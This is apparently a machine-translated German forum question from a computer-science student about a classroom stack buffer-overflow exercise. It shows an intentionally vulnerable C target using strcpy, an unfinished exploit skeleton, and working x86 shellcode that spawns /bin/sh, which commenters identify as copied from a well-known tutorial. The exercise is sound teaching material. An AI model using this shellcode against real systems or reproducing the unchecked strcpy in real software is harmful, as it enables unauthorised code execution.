Ich versuche, dieses Problem für eine meiner comp sci-Klassen herauszufinden, ich habe jede Ressource genutzt und immer noch Probleme, wenn jemand etwas Einblick geben könnte, würde ich es sehr schätzen.Absichtliches Pufferüberlauf-Exploit-Programm
Ich habe dieses "Ziel" Ich muss eine Execve ("/ bin/sh") mit dem Pufferüberlauf Exploit ausführen. Beim Überlauf von buf [128] erscheint beim Ausführen des unsicheren Befehls strcpy ein Zeiger zurück in den Puffer an dem Ort, an dem das System erwartet, eine Rückkehradresse zu finden.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Ich verstehe ich brauche argv zu füllen [1] mit mehr als 128 Byte, die Bytes über 128 sind die Rücksprungadresse, die auf den Puffer zurückgewiesen werden sollte, so dass das/bin/sh innerhalb ausgeführt wird. Ist das soweit richtig? Kann jemand den nächsten Schritt machen?
Vielen Dank für jede Hilfe.
Ein Stapelüberlauf und ein Pufferüberlauf sind zwei ziemlich unterschiedliche Dinge. – BoltClock
Dies hängt stark von Ihrem System ab (Compiler, CPU usw.), und Sie haben sich nicht darum bemüht, irgendetwas davon anzugeben. –
Ich konnte nicht anders, als zu bemerken, dass Ihr Shell-Code eine exakte Kopie des gefundenen [hier] ist (http://insecure.org/stf/smashstack.html). Sie sollten diesen Artikel wahrscheinlich durchlesen und verstehen, was vor sich geht, damit Sie Ihre eigenen implementieren können. Plagiate in der Universität sind ernste Dinge. – Paul